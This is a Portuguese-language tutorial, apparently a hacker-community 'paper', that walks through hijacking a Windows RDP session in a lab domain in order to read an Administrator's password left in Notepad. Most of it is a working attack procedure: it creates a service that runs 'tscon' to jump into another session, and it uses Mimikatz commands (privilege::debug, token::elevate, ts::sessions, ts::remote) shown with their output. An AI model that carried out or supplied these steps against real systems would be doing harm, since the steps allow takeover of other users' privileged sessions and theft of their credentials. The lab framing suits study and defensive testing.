Autor: @br0sck
⠀⠀⠀⣤⣴⣾⣿⣿⣿⣿⣿⣶⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡄
⠀⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⢰⣦⣄⣀⣀⣠⣴⣾⣿⠃
⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⡏⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⠀
⠀⠀⣼⣿⡿⠿⠛⠻⠿⣿⣿⡇⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀
⠀⠀⠉⠀⠀⠀⢀⠀⠀⠀⠈⠁⠀⢰⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀
⠀⠀⣠⣴⣶⣿⣿⣿⣷⣶⣤⠀⠀⠀⠈⠉⠛⠛⠛⠉⠉⠀⠀⠀
⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⣶⣦⣄⣀⣀⣀⣤⣤⣶⠀⠀
⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀
⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀
⢠⣿⡿⠿⠛⠉⠉⠉⠛⠿⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⠁⠀⠀
⠘⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⣿⣿⣿⣿⠿⠛⠀⠀⠀
▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓
▓▓▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▒▒▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▒▒▓▓
▓▓▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▓▓
▓▓▒▒ Sumário ▒▒▓▓
▓▓▒▒ ▒▒▓▓
▓▓▒▒ 1. O que é um Sequestro de RDP ▒▒▓▓▓▓
▓▓▒▒ ▒▒▓▓▓▓
▓▓▒▒ ▒▒▓▓
▓▓▓▓▒▒ ▒▒▓▓
▓▓▒▒ 2. Requisitos ▒▒▓▓▓▓
▓▓▒▒ ▒▒▓▓
▓▓▓▓▒▒ ▒▒▓▓
▓▓▒▒ ▒▒▓▓
▓▓▒▒ 3. Sequestro Utilizando o Prompt de Comandos ▒▒▓▓▓▓
▓▓▒▒ ▒▒▓▓
▓▓▓▓▒▒ ▒▒▓▓
▓▓▒▒ ▒▒▓▓
▓▓▓▓▒▒ 4. Sequestro Utilizando o Mimikatz ▒▒▓▓▓▓
▓▓▒▒ ▒▒▓▓
▓▓▒▒ ▒▒▓▓
▓▓▒▒ ████████ ████ ▒▒▓▓
▓▓▒▒ ██████ █████████ ▒▒▓▓
▓▓▒▒ ▒▒▓▓▓▓
▓▓▒▒ ████████ ██ ██████ ▒▒▒▒
▓▓▒▒ ████████ ██████████ ████████ ████ ▒▒▒▒
▓▓▓▓▒▒ ████ ▒▒▒▒
▓▓▒▒ ▒▒▓▓
▓▓▓▓▒▒ ██ ██ ████ ▒▒▓▓▓▓
▓▓▒▒ ██████ ████████ ████ ████████████ ██ ▒▒▓▓
▓▓▒▒ ██████ ██████ ▒▒▓▓
▓▓▓▓▒▒ ▒▒▓▓
▓▓▓▓▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▓▓
▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▓▓▓▓▓▓▒▒▒▒▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓
▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
Neste paper, eu irei abordar 2 formas para executar um sequestro de (Remote Desktop Protocol).
╔════════════════════════════════════╗
║ O que é um Sequestro de RDP ║
╚════════════════════════════════════╝
O sequestro de RDP é uma das técnicas essenciais relacionada a pós-exploração em ambientes Windows. Com essa técnica, é possível obter acesso remoto à área de trabalho de um usuário para ter acesso a dados que estão presente na sessão do usuário.
O cenário de exemplo que iremos utilizar terá uma sessão RDP do usuário Administrator ativa, onde há uma senha escrita em um bloco de notas. O objetivo é sequestrar a sessão do usuário Administrator para conseguir ter acesso ao bloco de notas onde está a senha.
╔═══════════════════╗
║ Requisitos ║
╚═══════════════════╝
Para que o ataque funcione corretamente, é necessário ter todos esses requisitos:
* Conta de usuário com acesso administrativo
* Acesso à máquina via RDP
* Mimikatz implantado na máquina
╔═════════════════════════════════════════════════╗
║ Sequestro Utilizando o Prompt de Comando ║
╚═════════════════════════════════════════════════╝
O sequestro de sessão RDP utilizando o Prompt de Comando se resume em criar um serviço onde irá executar o cmd.exe chamando o executável "tscon.exe" para pular para outra sessão. Se tentar executar o tscon sem ser por uma conta de serviço, o programa retorna uma mensagem pedindo para o usuário colocar a senha da conta que quer sequestrar.
Um prompt de comando ou powershell executado como administrador não é o suficiente, é necessário executar o ataque com uma conta com permissão acima do grupo de administradores. A conta "Local Service" está acima dos administradores, se executar o tscon com esse usuário, não será necessário se autenticar na conta do usuário alvo.
Vamos começar!
Execute o cmd.exe como administrador e execute o seguinte comando:
╔════════════════════════════════════════════════════════════════════════════════════╗
║Microsoft Windows [Version 10.0.20348.587] ║
║(c) Microsoft Corporation. All rights reserved. ║
║ ║
║C:\Windows\system32>query user ║
║ USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME ║
║ administrator rdp-tcp#0 2 Active . 06/05/2023 10:18 ║
║>rdpuser rdp-tcp#1 3 Active . 06/05/2023 10:18 ║
╚════════════════════════════════════════════════════════════════════════════════════╝
Com esse comando, é possível ver todas as sessões RDP's ativas na máquina. O usuário utilizado é o "rdpuser", que será responsável pelo sequestro da sessão RDP do usuário "administrator".
Tendo isso em mente, crie um serviço pelo cmd com o seguinte comando:
sc create rdphijacking binpath="cmd.exe /k tscon ID /dest:SESSIONNAME"
Altere o "ID" para o ID da sessão que você quer sequestrar, que neste caso, é o ID 2. Também altere o "SESSIONNAME" para o seu nome de sessão do RDP, que neste caso, é rdp-tcp#1.
╔════════════════════════════════════════════════════════════════════════════════════╗
║Microsoft Windows [Version 10.0.20348.587] ║
║(c) Microsoft Corporation. All rights reserved. ║
║ ║
║C:\Windows\system32>query user ║
║ USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME ║
║ administrator rdp-tcp#0 2 Active . 06/05/2023 10:18 ║
║>rdpuser rdp-tcp#1 3 Active . 06/05/2023 10:18 ║
║ ║
║C:\Windows\system32>sc create testsvc binpath="cmd.exe /k tscon 2 /dest:rdp-tcp#1" ║
║[SC] CreateService SUCCESS ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════╝
O serviço foi criado, agora basta executar o comando "net start testsvc".
Após a execução, sua sessão será trocada rapidamente para a sessão RDP que você sequestrou. Caso queira deletar o serviço, execute o comando "sc delete testsvc".
╔════════════════════════════════════════╗
║ Sequestro Utilizando o Mimikatz ║
╚════════════════════════════════════════╝
A ferramenta Mimikatz contém funcionalidades relacionadas a RDP que ajudam na movimentação lateral. Instale o Mimikatz na máquina alvo e execute os seguintes comandos no cmd como administrador:
╔═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╗
║C:\Users\rdpuser\Desktop\mimikatz-master\x64>mimikatz.exe ║
║ ║
║ .#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36 ║
║ .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ║
║ ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ║
║ ## \ / ## > http://blog.gentilkiwi.com/mimikatz ║
║ '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) ║
║ '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ ║
║ ║
║mimikatz # privilege::debug ║
║Privilege '20' OK ║
║ ║
║mimikatz # token::elevate ║
║Token Id : 0 ║
║User name : ║
║SID name : NT AUTHORITY\SYSTEM ║
║ ║
║560 {0;000003e7} 1 D 20777 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary ║
║-> Impersonated ! ║
║* Process Token : {0;00083144} 3 F 2696845 ADLAB\rdpuser S-1-5-21-1925757665-3945186109-1063137025-1104 (14g,26p) Primary ║
║* Thread Token : {0;000003e7} 1 D 2773832 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation) ║
║ ║
║mimikatz # ts::sessions ║
║ ║
║Session: 0 - Services ║
║state: Disconnected (4) ║
║user : @ ║
║curr : 06/05/2023 11:00:24 ║
║lock : no ║
║ ║
║Session: 1 - Console ║
║state: Connected (1) ║
║user : @ ║
║Conn : 06/05/2023 10:17:21 ║
║curr : 06/05/2023 11:00:24 ║
║lock : no ║
║ ║
║Session: 2 - RDP-Tcp#0 ║
║state: Active (0) ║
║user : Administrator @ ADLAB ║
║Conn : 06/05/2023 10:18:39 ║
║logon: 06/05/2023 10:18:40 ║
║last : 06/05/2023 10:59:05 ║
║curr : 06/05/2023 11:00:24 ║
║lock : no ║
║addr4: 10.18.1.10 ║
║ ║
║Session: *3 - RDP-Tcp#1 ║
║state: Active (0) ║
║user : rdpuser @ ADLAB ║
║Conn : 06/05/2023 10:18:53 ║
║logon: 06/05/2023 10:18:55 ║
║last : 06/05/2023 11:00:24 ║
║curr : 06/05/2023 11:00:24 ║
║lock : no ║
║addr4: 10.18.1.12 ║
║ ║
║Session: 65536 - RDP-Tcp ║
║state: Listen (6) ║
║user : @ ║
║lock : no ║
║ ║
║mimikatz # ts::remote /id:2 ║
╚═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╝
Observe que o parâmetro "id" está com o número 2, que é o ID da sessão do usuário Administrator.
Ao executar os comandos, você será redirecionado para a sessão do usuário.
_--_
/ -)
___/___|___
____-----=~~///| ||||~~~==-----_____
//~////////////~/| |//|||||\\\\\\\\\\\\\
///////////////////| |///////|\\\\\\\\\\\\\\\
/////~~~~~~~~~~~~~~~\ |.||/~~~~~~~~~~~~~~~~~`\\\\\
//~ /\\|\\ ~\\
///W^\W\
////|||\\\
~~~~~~~~~~
Obrigado por lerem meu paper, até a próxima ;)